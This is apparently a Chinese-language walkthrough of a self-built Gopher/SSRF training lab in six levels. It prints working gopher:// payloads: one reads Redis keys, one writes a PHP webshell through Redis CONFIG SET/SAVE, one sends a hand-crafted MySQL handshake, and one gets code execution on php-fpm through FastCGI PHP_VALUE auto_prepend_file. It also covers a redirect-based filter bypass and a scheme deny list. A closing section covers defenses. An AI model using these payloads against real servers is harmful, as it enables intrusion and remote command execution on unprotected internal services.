搭建靶场学习gother
一、Gopher 是什么
1.1 一段被 HTTP 干掉的历史
Gopher 诞生于 1991 年,明尼苏达大学(University of Minnesota)的一群程序员做的分布式文档检索系统。 名字来自校队吉祥物 Gopher(地鼠),也恰好和 “go-fer”(跑腿的人)谐音。
1993 年 3 月发布 RFC 1436。同年 2 月,明尼苏达大学宣布将对 Gopher 服务端的商业使用收费。 这个决定直接改变了互联网的走向:浏览器厂商开始把资源投向完全免费的 HTTP, NCSA Mosaic 的重心转向 Web,Gopher 的流量在两年内断崖式下跌。
今天还活着的 Gopher 站点(比如 gopher.floodgap.com)基本是情怀项目。
但协议本身没有消失 —— 它变成了 SSRF 里最锋利的那把刀,原因见第二节。
1.2 协议本体:一行字符串
Gopher 客户端和服务器之间的交互,简单到有点荒谬:
客户端 → 服务器: <selector>\r\n服务器 → 客户端: <内容>\r\n.\r\nselector 就是一行文本。/ 表示根菜单,/foo.txt 表示读某个文件。
没有请求头,没有方法,没有状态码,没有 Cookie,没有任何认证。
对比一下 HTTP:
GET /foo.txt HTTP/1.1Host: example.comUser-Agent: ...Accept: ...Gopher 只有第一行,而且连 GET 都没有 —— 因为它只有”读”这一个动作。
1.3 菜单(gophermap)
服务器返回目录时,回的是一个菜单。每行五个字段,用 TAB 分隔:
<type><display string>\t<selector>\t<host>\t<port>\r\n一个真实例子(本靶场 L1 的返回):
iGopher 老服务 / 只读资料库 fake (NULL) 00about.txt /about.txt legacy-public 700l1.txt /l1.txt legacy-public 700notes.txt /notes.txt legacy-public 70i-- EOF -- fake (NULL) 0.最后单独一行 . 表示菜单结束 —— 和 SMTP、finger、NNTP 一样的老派做法。
type 字段决定客户端怎么处理这一行:
0文本文件 —— 读到后直接显示1目录 —— 可以继续点进去7搜索服务器 —— 会弹输入框,把关键词作为 selector 发过去8telnet 会话9二进制文件gGIF、I图片、hHTML、s声音i信息行 —— 只显示文字,不可点击3错误
注意 i 这个类型:它让 Gopher 菜单可以写”标题”和”分隔线”,
这也是为什么上面的菜单第一行和最后一行都以 i 开头。
1.4 URL 形式
gopher://<host>:<port>/<type><selector>/ 后面的第一个字符是 type,剩下的才是真正的 selector。比如:
gopher://127.0.0.1:7070/1/1 是 type(目录),selector 是 /。
libcurl 会把这个 1 吃掉,只发送 /\r\n 给服务器。
如果 type 位置的字符不是合法 type,libcurl 的行为是把它当成 selector 的一部分 ——
这也是为什么 SSRF 载荷习惯写成 /_<payload>:_ 不是合法 type,
但正好占住 type 位,避免劫持 payload 的第一个字节。
二、为什么 SSRF 里 Gopher 是核弹
2.1 其他协议的局限
SSRF 的本质是”让服务器替我发请求”。但发什么请求,取决于协议。
http://—— 只能发 HTTP 报文。打不了 Redis、MySQL、FastCGI。file://—— 只能读本地文件,出不了这台机器。dict://—— 能连任意端口,但报文格式被固定成 DICT 协议,只能塞很短的字符串。ftp://—— 能连任意端口,同样受协议格式限制。gopher://—— 能连任意 IP,并发送任意字节流。
关键在最后一条。Gopher 协议没有任何”报文结构”的约束,
selector 里想放什么就放什么 —— 而 URL 编码 %0D%0A 解出来就是 CRLF。
于是 SSRF 从”只能发 HTTP”变成了”能向任意 TCP 端口写任意数据”。 这等于把一个 HTTP 层的漏洞,升级成了传输层的任意写。
2.2 一个具体的转换
想给 Redis 发 GET l3_flag,Redis 的 RESP 协议长这样:
*2\r\n$3\r\nGET\r\n$7\r\nl3_flag\r\n把它整个 URL 编码后塞进 gopher:
gopher://redis:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%247%0D%0Al3_flag%0D%0Acurl 解码后,发到 6379 端口的就是那串原始字节。 Redis 完全不知道对面是个 HTTP 客户端 —— 它只看到合法的 RESP 数组。
这就是 gopher 在 SSRF 里的全部价值:它是一个字节流注入器。
2.3 一个容易被忽略的限制
libcurl 的 gopher 实现内部走 C 字符串(strlen),
所以 payload 里的 NUL 字节(%00)会被当成字符串结束符 —— 整条载荷直接变空。
这个限制看起来不起眼,但它决定了”能不能打 MySQL”:
- MySQL 的包长度字段是 3 字节小端,小包的头部必然有
\x00 - FastCGI 的 contentLength 是 2 字节大端,同样带
\x00
所以用 curl 实现的 SSRF 打 MySQL,是打不通的。
本靶场的 L5/L6 因此换成了 stream_socket_client 直发 ——
这个差异不是偷懒,而是真实攻防里必须判断的一件事:
同一个 SSRF 漏洞,实现方式不同,能打的目标完全不同。
三、靶场的威胁模型
架构
宿主机浏览器 :8896 │ ┌──────▼───────┐ │ web (PHP) │ ← 六关的 SSRF 入口都在这里 └──┬───┬───┬───┘ │ │ │ ┌────▼┐ ┌▼───┐ ┌▼────┐ │redis│ │ db │ │ fpm │ L3/L4 L5 L6 │6379 │ │3306│ │9000 │ └─────┘ └────┘ └─────┘ │ ┌────▼─────────────┐ │ legacy-internal │ gopher:70 + http:8081 L2 └──────────────────┘ ┌──────────────────┐ │ legacy-public │ gopher:70(宿主机 7070) L1 └──────────────────┘关卡
| 关卡 | 目标 | 关键点 | flag 在哪 |
|---|---|---|---|
| L1 Gopher 协议本体 | legacy-public:70 | 只有一行 selector + CRLF;菜单行的五个 TAB 字段 | 服务端资料目录 |
| L2 302 换协议 | legacy-internal:8081 | 白名单只管前缀;curl 跟随重定向时不校验新协议 | legacy-internal:70 里 |
| L3 打 Redis 读 | redis:6379 | 黑名单漏了 gopher;RESP 数组格式 | key l3_flag |
| L4 打 Redis 写 | 同上 | CONFIG SET dir/dbfilename + SAVE | web 容器 /flag_l4 |
| L5 打 MySQL | db:3306 | 手工拼 HandshakeResponse41 + COM_QUERY | secret.flag 表 |
| L6 打 PHP-FPM | fpm:9000 | FastCGI 记录 + PHP_VALUE auto_prepend_file | fpm 容器 /flag_l6 |
3.1 一个统一的设定
所有关卡共享同一个前提:
有一台能访问内网的 web 服务器,它提供了一个”你给 URL,我帮你取”的接口。
这是 SSRF 最典型的形态 —— 图片代理、URL 预览、Webhook 回调、RSS 抓取、 在线翻译、PDF 生成,全都可以长成这样。
六关的区别只在于过滤策略和目标服务。
3.2 能力链而不是技巧集
六关不是六个孤立的小技巧,而是一条逐级递进的能力链:
L1 理解协议 ──→ L2 突破过滤器 ──→ L3 对内网服务说话 │ ├─→ L4 从读到写 ├─→ L5 二进制协议 └─→ L6 不打应用层,直接打运行时每一关只引入一个新变量,其余部分尽量保持不变。 这是刻意设计的 —— 一次只让人卡在一个点上,卡点才清晰。
四、六关的设计思路
L1 · Gopher 协议本体
场景:内网还有一台 1993 年的老服务没下线,跑在 70 端口。
设计意图:把 SSRF、漏洞、利用链全部拿掉,只留下协议本身。
很多人在 SSRF 里第一次见到 gopher,看到的是
gopher://redis:6379/_%2A2%0D%0A... 这种天书。
如果一上来就背这个格式,学到的只是”魔法字符串”。
所以第一关直接给一个裸客户端:填 host、port、selector,发出去,看字节。
考察点:
- selector 就是一行字符串,末尾 CRLF
- 菜单行的五个 TAB 字段
- type 字符的作用(
0文件、1目录、i信息行) - URL 里的
/_和%0D%0A是怎么对应到真实字节的
为什么给一个输入框而不是直接让用户 curl:
输入框里有 hexdump,能看到”我发的字节”和”收到的字节”。
curl 的 -v 虽然也打印,但混在 TLS/HTTP 的调试信息里,不直观。
L2 · 302 换协议
场景:运维写了个内部跳转网关,只做 URL 转发,觉得”反正只是拼个链接”。
漏洞点:白名单检查的是字符串前缀:
if (strpos($url, 'http://legacy-internal:8081/') !== 0) { die('只允许访问内部网关');}前缀检查本身没错 —— http://legacy-internal:8081/r?to=... 确实以它开头。
错在下一步:curl 开了 CURLOPT_FOLLOWLOCATION 之后,
收到 302 会重新发起请求,而新 URL 的协议可以完全不同。
设计意图:介绍”过滤器只校验第一跳”这个经典缺陷。
同类缺陷在真实世界里的形态:
- 只校验 URL 的 host,不校验重定向后的 host(内网穿透)
- 只校验协议前缀,不校验
Location头(协议降级) - 只校验一次 DNS,实际请求时重新解析(DNS rebinding)
考察点:
- 白名单的边界在哪里断掉
to参数必须二次编码,否则:和/会被 URL 解析吃掉- gopher 的 type
0用来读文件
一个额外细节:新版 libcurl(7.65+)已经把重定向协议默认限制为
http/https/ftp,所以现代环境下这一关不一定成立。
靶场在 l2.php 里显式设了 CURLOPT_REDIR_PROTOCOLS = CURLPROTO_ALL,
用来还原老版本行为。这个细节写进了文档,而不是藏着 ——
因为”知道某个技巧在什么版本之后失效”本身就是安全工程的一部分。
L3 · 打 Redis 读 flag
场景:内网一台 Redis,没设密码,没绑 127.0.0.1。
漏洞点:黑名单只挡了”读本地文件”的协议:
$deny = ['file://', 'dict://', 'ftp://', 'php://', 'data://', 'zlib://'];开发者的威胁模型是”别让人读 /etc/passwd”,所以把 file/dict/php 全禁了。 但 gopher 既不是读文件,也不在名单里 —— 它是”打电话给别人”。
设计意图:完成一次思维转换。
前两关的 payload 都是”取回一段内容”, 这一关开始,payload 是给对方的一条命令。 gopher 不再是”更灵活的 curl”,而是一个能向内网服务注入指令的通道。
考察点:
- RESP 协议:数组形式
*N+ 每个元素$len+ 内容 $len必须是 key 的真实字节数(l3_flag是 7,不是 8)- 末尾补
QUIT,让 Redis 主动断开
为什么这两个坑值得单独强调:
第一个坑($len 写错)的表现是”查出来是 nil”,不报错、不异常。
第二个坑(不补 QUIT)的表现是”页面空响应 + 8 秒超时”。
两者都是”静默失败”,靠猜是猜不出来的。 把它们写进关卡说明,是为了让失败有解释,而不是让人怀疑人生。
L4 · 打 Redis 写 WebShell
场景:还是那台 Redis,还是同一个注入点。
设计意图:同一漏洞的第二种危害。
安全评估里最常见的错误判断是”这个洞只能读不能写,危害有限”。 L4 就是用来打这个判断的:gopher 注入点没变,只换了 RESP 命令,危害等级从”信息泄露”跳到”远程命令执行”。
利用链:
CONFIG SET dir /var/www/html/uploadsCONFIG SET dbfilename shell.phpSET payload "<?php system($_GET[0]); ?>"SAVESAVE 会把内存快照写到 dir/dbfilename,
而这两个值都是攻击者可控的 —— RDB 文件就成了 webshell。
考察点:
- Redis 的”配置项即攻击面”
- RDB 格式前面有一堆二进制垃圾,但 PHP 只在
<?php之后才解析,不影响执行 - 一次 gopher 请求 = 一次 TCP 连接 = 可以连发多条命令
为什么把 uploads 目录设成 777:
不是为了让利用变简单,而是因为 Redis 容器里的 redis 用户
和 web 容器里的 www-data 用户 UID 不一样,
共享目录不给写权限的话,SAVE 会失败。
真实环境里的对应条件是”Redis 进程对 web 目录有写权限”,
通常通过共享 volume、NFS、或者干脆 Redis 和 web 跑在同一台机器上实现。
L5 · 打 MySQL 协议包
场景:内网 MariaDB,运维图省事建了个免密账号 ssrf@%。
设计意图:从”应用层文本协议”跨到”二进制协议”。
前三关的 payload 都是可读的 ASCII(RESP、HTTP), 这一关开始,每个字节的位置都有含义:
[3 字节小端长度][1 字节序号][载荷]载荷内部:
capabilities(4 字节小端)—— 告诉服务端我支持哪些特性max_packet(4 字节)charset(1 字节)- 23 字节填充
- 用户名 +
\0 - auth_response 长度(1 字节)+ auth_response
为什么必须空密码:
有密码时,认证响应要算:
SHA1(pass) XOR SHA1(salt + SHA1(SHA1(pass)))而 salt 是服务端在 greeting 包里每次连接随机生成的。
gopher 是单向的 —— 发完就等,拿不到 greeting 里的 salt。
所以整个认证包没法离线拼好。
空密码时 auth_response 长度为 0,不需要 salt,
整个字节流才能一次性构造。这是这条路唯一的硬限制,不是设计上的偷懒。
考察点:
- 二进制协议的字段对齐
- 序号(seq)的语义:认证阶段递增,命令阶段重置为 0
- 为什么用
stream_socket_client而不是 curl(NUL 截断,见 2.3)
一个实践中的坑:手工一次性连发 HandshakeResponse(seq=1) + COM_QUERY(seq=0)
是可行的,但顺序不能颠倒,也不能中间插 COM_QUIT 到错误位置。
如果服务端回 Got packets out of order,八成是 seq 用错了。
L6 · 打 PHP-FPM 的 FastCGI
场景:web 架构是 nginx + php-fpm,fpm 监听 9000。
设计意图:绕过应用层,直接打运行时。
前五关打的都是”应用”(Redis 的配置、MySQL 的查询)。 这一关打的是 PHP 解释器本身 —— 请求根本不经过 nginx, 不经过任何 PHP 代码的路由逻辑,直接以 fpm worker 的身份执行。
这是 SSRF 危害等级的上限:不是”读到了什么”,而是”拿到了这个进程的 shell”。
利用原理:
FastCGI 的记录格式是 8 字节头 + 内容:
[version=1][type][requestId:2][contentLength:2][padding:1][reserved:1]三条记录构成一个最小请求:
type=1BEGIN_REQUEST —— role=1(RESPONDER)type=4PARAMS —— 环境变量type=5STDIN —— 请求体
核心在 PARAMS 里的这两个:
SCRIPT_FILENAME = /var/www/html/index.phpPHP_VALUE = auto_prepend_file=php://inputauto_prepend_file 是 PHP_INI_PERDIR 级别,可以被请求级覆盖。
fpm 在执行 index.php 之前,会先把 php://input
(也就是 STDIN 里的内容)include 进来 —— 那就是我们的 PHP 代码。
考察点:
- FastCGI 记录的拼接
- name-value 对的编码顺序(两个长度字段连着放,见下)
- 为什么 9000 端口暴露等于 RCE
这一关最狠的坑:
FastCGI 的 name-value 对编码是:
nameLen(1) + valueLen(1) + name + value不是直觉上的 nameLen + name + valueLen + value。
写错的话,fpm 会把 value 长度当成 name 的第一个字节去解析,
然后直接把 TCP 连接 RST 掉 —— 页面上只显示”空响应”,
fpm 日志里一行记录都没有。
定位方法(也是排查这类问题的通用方法):
用标准客户端 cgi-fcgi 打一个记录字节的 sink,把标准 payload 存下来,
再和自己拼的用 cmp -l 逐字节对比。
五、关卡之间的技术递进
按”新增变量”排列,每一关只比上一关多一个难点:
- L1 协议是什么 —— 新增:selector 与 CRLF
- L2 怎么绕过过滤器 —— 新增:重定向跨协议
- L3 怎么对内网服务下命令 —— 新增:RESP 编码 + 连接生命周期
- L4 怎么从读变写 —— 新增:配置项即攻击面
- L5 怎么处理二进制协议 —— 新增:字段对齐 + 认证前提
- L6 怎么绕过整个应用层 —— 新增:FastCGI 记录 + INI 覆盖
横向看,六关覆盖了四类内网目标:
- 缓存/键值(Redis)—— 文本协议,配置可写
- 数据库(MySQL)—— 二进制协议,需要认证
- 运行时(PHP-FPM)—— 二进制协议,无认证
- 传统服务(Gopher)—— 文本协议,无认证
这四类基本覆盖了 SSRF 在内网横向时的常见目标。
六、设计上的取舍
靶场为了聚焦某个知识点,故意放宽了一些条件。 这些取舍都写在这里,而不是藏在代码里 —— 因为知道”真实环境不是这样”比知道”这里能打通”更重要。
6.1 L5 的免密账号
真实环境里 MySQL 几乎不会允许空密码远程登录。
这一关的前提是”运维图省事建了个 ssrf@% 免密账号” —— 这种事在
内部测试环境、临时排查环境里确实会发生,但不能当常态。
如果目标是真实的有密码 MySQL,gopher 这条路基本走不通(见 L5 关于 salt 的说明)。
更现实的替代路径是:先用别的方式拿到配置文件的密码,
再用能双向通信的 SSRF(比如 gopher + 自定义客户端)完成认证 —— 但那就不是 gopher 的故事了。
6.2 L6 的 allow_url_include=On
PHP 默认是 Off。真实环境中要打 FastCGI,通常需要满足以下之一:
- 目标环境已经开了
allow_url_include(罕见但存在) - 配合任意文件写入,把
auto_prepend_file指向一个已存在的本地文件 - 利用
PHP_ADMIN_VALUE改其他配置(受disable_functions等影响)
靶场直接开了,是为了把注意力集中在”拼 FastCGI 包”本身。
这个前提在 fpm/Dockerfile 和页面说明里都标注了。
顺便一个知识点:allow_url_include 是 PHP_INI_SYSTEM 级别,
PHP_VALUE 改不动 —— 所以不能靠 FastCGI 请求自己把它打开。
必须在 php.ini 或 -d 里设。
6.3 Redis 7 的 protected config
Redis 7.0 引入了 enable-protected-configs,
把 dir / dbfilename / appendfilename 归为 protected config,
CONFIG SET 默认被拒绝(取值为 no)。
这意味着 L4 的利用在 Redis 7.0+ 上默认失效,
需要服务端显式设置 --enable-protected-configs yes 才能还原老行为。
靶场启动参数里加了这一项,并在 README.md 和 compose.yml 注释里都写明了。
现实中的替代路径包括:写 crontab(如果 Redis 有权限)、
主从复制 RCE(Redis 4.x/5.x)、加载恶意 module(Redis 5.0+,需要 MODULE LOAD 权限)。
6.4 L2 的重定向协议限制
前面提过:libcurl 7.65+ 默认把 REDIR_PROTOCOLS 限制为 http/https/ftp。
靶场显式放开,是为了让”跨协议重定向”这个知识点可演示。
真实环境里要判断两件事:目标用的 curl 版本,以及代码有没有显式设置这个选项。
七、实际操作
快速开始
./setup.sh # 铺 flag、建目录、构建、启动、灌数据open http://127.0.0.1:8896/停止:
docker compose down重置(flag 会被重新灌回去):
./setup.shL1 协议本体
先把协议本身摸清楚,再谈 SSRF。这一关不涉及任何漏洞。
RFC 1436 定义的 gopher 客户端请求,就是一行 selector + CRLF,没有头、没有 body:
/\r\n ← 请求根菜单/l1.txt\r\n ← 请求某个文件服务端回一串菜单行,每行五个字段用 TAB 分隔,最外层以单独一行 . 结束:
<type><display>\t<selector>\t<host>\t<port>\r\n
type 里 0 是文本文件,1 是目录,i 是信息行(不可点)。
目标服务是内网里的 legacy-public:70,flag 就在它的资料目录里。
直接在终端运行,不需要通过 SSRF:
curl -v 'gopher://127.0.0.1:7070/1/' # 看菜单curl -v 'gopher://127.0.0.1:7070/0/l1.txt' # 读文件* Trying 127.0.0.1:7070...* Connected to 127.0.0.1 (127.0.0.1) port 7070iGopher 老服务 / 只读资料库 fake (NULL) 00about.txt /about.txt b6b731a9f996 700l1.txt /l1.txt b6b731a9f996 700notes.txt /notes.txt b6b731a9f996 70i-- EOF -- fake (NULL) 0.* Closing connection
* Trying 127.0.0.1:7070...* Connected to 127.0.0.1 (127.0.0.1) port 7070flag{g0ph3r_pr0t0c0l_1s_just_tcp}
.* Closing connection对应地,在页面里可以填:host legacy-public、port 70、sel /l1.txt。
URL 里的 /1/ 第一个 1 是 gopher type,libcurl 会读取并处理它,实际只把 / 和 \r\n 发出去。
L2 302 换协议
过滤器只认前缀,可它没想到「跳转之后协议能变」。
这台机器上有个 URL 抓取接口,白名单写死成只能访问内部网关:strpos($url, 'http://legacy-internal:8081/') === 0
网关本身(8081)只有一个功能:GET /r?to=<url> → 302 Location: <url>,它对 to 的校验只检查协议名是不是 http/https/gopher —— 运维的想法是「反正只是拼个链接」。
flag 在 legacy-internal:70 的 gopher 实例里,HTTP 那侧根本不提供文件。你只能让 gopher 协议去读它。
在输入框输入
http://legacy-internal:8081/r?to=gopher%3A%2F%2Flegacy-internal%3A70%2F0%2Fl2.txt白名单只看前缀,/r?to= 命中前缀;网关返回 302 并跳到 gopher://,curl 跟随这个重定向,协议就换了。
返回
HTTP/1.1 302 FoundLocation: gopher://legacy-internal:70/0/l2.txtContent-Length: 0Connection: close
/l2.txt
flag{r3d1r3ct_ch4ng3s_th3_sch3m3}L3 读 Redis
gopher 不是「读文件」协议,它是「打电话给别人」协议。
注入点:
内网有一台 Redis,redis:6379,没设密码,也没绑 127.0.0.1。它里面有个 key 叫 l3_flag。
这台 web 的抓取接口长这样:
$deny = ['file://', 'dict://', 'ftp://', 'php://', 'data://', 'zlib://'];
然后 curl_exec()。就这些。
要拼的东西
Redis 用的是 RESP 协议,纯文本,命令可以写成「数组」形式,最稳:
*2$3GET$8l3_flag把它整个 URL 编码后塞进 gopher:
gopher://redis:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%248%0D%0Al3_flag%0D%0A在输入框粘贴
gopher://redis:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%247%0D%0Al3_flag%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A解出来就是 *2\r\n7\r\nl3_flag\r\n,再补一条 QUIT 让 Redis 主动断开连接。
返回
$32flag{r3d1s_un4uth_r3ad_4ll_k3ys}+OKL4 写 WebShell
同一个 SSRF,把「读」换成「写」,就从小问题变大问题。
思路:
Redis 有两个配置项,天生就是用来写文件的:```CONFIG SET dir /var/www/html/uploadsCONFIG SET dbfilename shell.phpSET payload "<?php system($_GET[0]); ?>"SAVE```SAVE 会把当前内存快照写到 dir/dbfilename。文件名是我们控制的,目录也是 —— 于是 RDB 文件变成了 webshell。
RDB 是二进制格式,写出来的文件前面会带一堆乱码,但 PHP 只在 <?php 之后才开始解析,所以前面的垃圾不影响执行。目标
web 根目录是 /var/www/html,上传目录 uploads/ 权限是 777。flag 在 web 容器的 /flag_l4。
拿到 shell 之后直接 ?0=cat /flag_l4。
拼包要点:
- 一次 gopher 请求 = 一次 TCP 连接 = 可以连发多条命令,中间用 %0D%0A 分隔。
- Redis 收到多余的空行会报 -ERR,但前面的命令已经执行了,不影响结果。
- PHP 代码里含 $、[、]、<、>,URL 编码时统统要转义,否则会被 curl 当成 URL 结构。
- 如果 SAVE 报权限错误,说明 dir 没设成功 —— 换 /tmp 先验证命令通不通。
先输入
gopher://redis:6379/_%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2421%0D%0A%2Fvar%2Fwww%2Fhtml%2Fuploads%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%247%0D%0Apayload%0D%0A%2426%0D%0A%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%20%3F%3E%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A返回
*4$6CONFIG$3SET$3dir$21/var/www/html/uploads*4$6CONFIG$3SET$10dbfilename$9shell.php*3$3SET$7payload$26<?php system($_GET[0]); ?>*1$4SAVE*1$4QUIT
+OK+OK+OK+OK+OK页面应回 5 个 +OK。然后浏览器访问:
http://127.0.0.1:8896/uploads/shell.php?0=cat%20/flag_l4可以看到
REDIS0012� redis-ver7.4.12� redis-bits�@�ctime�n�j�used-mem�Pr�aof-base���payloadflag{r3d1s_wr1t3s_y0ur_w3bsh3ll} l3_flag flag{r3d1s_un4uth_r3ad_4ll_k3ys}���I��pUPL5 打 MySQL
这回对手是个二进制协议,全靠手工拼字节。
db:3306,MariaDB。运维图省事建了个免密账号:
user: ssrfpassword: (空)db: secret → 表 flag(val varchar)MySQL 报文结构
每个包都是 3 字节小端长度 + 1 字节序号 + 载荷,序号从 0 开始递增:
[ len:3 LE ][ seq:1 ][ payload ]
要发两个包,一次连接内完成:
seq=1 HandshakeResponse41:capabilities(4) max_packet(4) charset(1) 填充(23) username\0 auth_len(1) [auth_data]空密码时 auth_len = 0,后面不跟任何字节。seq=0 COM_QUERY:0x03 + SQL 文本。capabilities 至少要带上 CLIENT_PROTOCOL_41 (0x0200) 和 CLIENT_SECURE_CONNECTION (0x8000),否则服务端会按老协议回你。
查询语句:SELECT val FROM secret.flag。返回的 ResultSet 是二进制,flag 会以明文字节出现在响应里。
为什么空密码才可行
有密码时要算 SHA1(pass) XOR SHA1(salt + SHA1(SHA1(pass))),而 salt 是每次连接随机给的 —— gopher 只发不收,拿不到 salt,就拼不出来。这是这条路唯一的硬限制。
一个必须知道的实现差异
L3/L4 用的是 curl,这一关不是。因为 libcurl 的 gopher 实现内部走 C 字符串,URL 里的 %00 会被当作结束符 —— 而 MySQL 包头里 长度(3字节小端) 几乎必然带 NUL,整条 payload 会直接变空。
所以这个接口改成了 stream_socket_client 直发,PHP 字符串二进制安全,NUL 能原样发出去。副作用是它不会替你补 CRLF,字节流完全由 payload 决定。
真实攻防里能不能打 MySQL,往往就取决于 SSRF 是 curl 实现的还是 socket 实现的 —— 这是个很实际的判断点。
输入
gopher://db:3306/_%26%00%00%01%05%A2%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf%00%00%1C%00%00%00%03SELECT%20val%20FROM%20secret.flag%01%00%00%00%01返回
[...11.4.13-MariaDB-ubu2404.....xoGQB5&Y...-...............pGSITJTJVPmU.mysql_native_password.................*....def.secret.flag.flag.val.val.!.................."......flag{my5ql_h4ndsh4k3_by_h4nd}.......".响应是 MariaDB 的二进制包,flag{…} 会以明文字节夹在里面。
L6 打 PHP-FPM
nginx 挡在前面的时候这一切都没问题;SSRF 一来,请求直接从后门进去了。
目标
fpm:9000,纯 php-fpm,没有 nginx。/var/www/html/index.php 存在(必要条件:SCRIPT_FILENAME 得指向真实文件)。flag 在 fpm 容器的 /flag_l6。
FastCGI 记录格式
8 字节固定头:
[version=1][type][requestId:2][contentLength:2][padding:1][reserved:1]
一个最小请求由三条记录组成:
type=1 BEGIN_REQUEST,body 6 字节:role=1(RESPONDER) + flags=0 + 5 字节填充type=4 PARAMS,body 是一串 name-value 对type=5 STDIN,body 就是请求体(PHP 代码)PARAMS 和 STDIN 结束时都要各补一条空内容的同类型记录,否则 fpm 会一直等。
最容易拼错的地方
FastCGI 的 name-value 对编码不是「名字长度 + 名字 + 值长度 + 值」,而是把两个长度字段连在一起,字符串才依次跟上:
nameLen(1字节) + valueLen(1字节) + name + value 长度都小于 128 时各占 1 字节就够了。写成「交错」格式的话,fpm 会把 value 长度当成 name 的第一个字节去解析,然后直接把连接 RST 掉 —— 页面上表现为「空响应」,日志里什么都没有,很难查。
拿 flag 的两个参数
PHP_VALUE => auto_prepend_file=php://input allow_url_include = On (容器里已开) auto_prepend_file 是 PHP_INI_PERDIR,可以通过 PHP_VALUE 在请求级别覆盖 —— 于是 fpm 在执行 index.php 之前,会先把 php://input(也就是你 STDIN 里那段 PHP 代码)include 进来。
STDIN 里放:
必要的 PARAMS
GATEWAY_INTERFACE CGI/1.1SCRIPT_FILENAME /var/www/html/index.phpSCRIPT_NAME /index.phpREQUEST_METHOD POSTREQUEST_URI /index.phpDOCUMENT_ROOT /var/www/htmlSERVER_PROTOCOL HTTP/1.1CONTENT_LENGTH <php 代码的字节数>CONTENT_TYPE application/textSCRIPT_FILENAME 不写会直接 Primary script unknown。 顺序无所谓,但 PARAMS 必须整块发完再发结束记录。
输入
gopher://fpm:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%3D%00%00%11%07GATEWAY_INTERFACECGI%2F1.1%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0B%0ASCRIPT_NAME%2Findex.php%0B%0AREQUEST_URI%2Findex.php%0D%0DDOCUMENT_ROOT%2Fvar%2Fwww%2Fhtml%0F%08SERVER_PROTOCOLHTTP%2F1.1%0F%05SERVER_SOFTWAREnginx%0B%09REMOTE_ADDR127.0.0.1%0C%10CONTENT_TYPEapplication%2Ftext%0E%02CONTENT_LENGTH32%09%1DPHP_VALUEauto_prepend_file%3Dphp%3A%2F%2Finput%01%04%00%01%00%00%00%00%01%05%00%01%00%20%00%00%3C%3Fphp%20system%28%27cat%20%2Fflag_l6%27%29%3B%20%3F%3E%01%05%00%01%00%00%00%00返回
....._..X-Powered-By: PHP/8.1.34Content-type: text/html; charset=UTF-8
flag{f4stcg1_9000_n0_auth}.........fpm ok...............34响应里会先出现 flag,后面还有一句 fpm ok;这是因为 auto_prepend_file 在 index.php 之前执行。
八、六个坑
1. RESP 的 $<len> 必须是真实字节数
l3_flag 是 7 字节。写成 $8,Redis 会把结尾的 \r 当成 key 的一部分,
GET 出来永远是 nil,而且不报错 —— 最难受的那种失败。
2. 打 Redis 一定要补 QUIT
Redis 默认不主动关连接。不补 QUIT,curl 会一直等到超时然后返回 false,
把已经收到的数据全丢掉。补一条 QUIT,连接正常关闭,响应就回来了。
3. curl 的 gopher 实现遇到 %00 会截断
libcurl 内部走 C 字符串(strlen),payload 里的 NUL 就是结束符。
MySQL 的 3 字节长度字段、FastCGI 的 2 字节 contentLength 几乎必然带 NUL ——
所以 L5/L6 的接口改成了 stream_socket_client 直发。
真实攻防里「能不能打 MySQL」往往就取决于 SSRF 是怎么实现的。
4. FastCGI 的 name-value 对是两个长度字段连着放
nameLen(1) + valueLen(1) + name + value不是「名字长度 + 名字 + 值长度 + 值」。拼错的话 fpm 直接把连接 RST 掉, 页面上只看到「空响应」,日志里干干净净 —— 我在这卡了很久。
5. php-fpm 默认可能只监听 IPv6
listen = 9000 会被解析成 [::]:9000,从别的容器用 IPv4 连直接 RST。
靶场的 fpm/Dockerfile 里显式写了 listen = 0.0.0.0:9000。
6. Redis 7 的 protected config
CONFIG SET dir / dbfilename 在 Redis 7 默认被禁,需要
--enable-protected-configs yes。老版本(≤6.2)没有这道闸,
所以 L4 的利用在老环境上是直接成立的。
九、防御视角
- SSRF 的过滤不能只做字符串前缀。正确做法是解析 URL、校验 host 解析后的 IP 是否在允许网段,且每一跳都校验。
- 禁用危险协议。curl 有
CURLOPT_PROTOCOLS和CURLOPT_REDIR_PROTOCOLS,显式设成CURLPROTO_HTTP | CURLPROTO_HTTPS。 - 内网服务不要裸奔。Redis 绑定 127.0.0.1 + requirepass;MySQL 不用免密账号;php-fpm 只监听 unix socket 或 127.0.0.1。
- 出网限制。web 服务器到内网的访问应该有明确的白名单,而不是”能连就能连”。
总结
- L1 —— 协议只有一行,难的是承认它这么简单
- L2 —— 过滤器校验的是第一跳,而请求会走第二跳
- L3 —— gopher 不是”更灵活的 curl”,是”给内网服务下命令的通道”
- L4 —— 同一个洞,从读变写,危害等级就换了一档
- L5 —— 二进制协议里,每个字节都要对得上,包括那个 0x00
- L6 —— 绕过整个应用层,直接和解释器说话
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!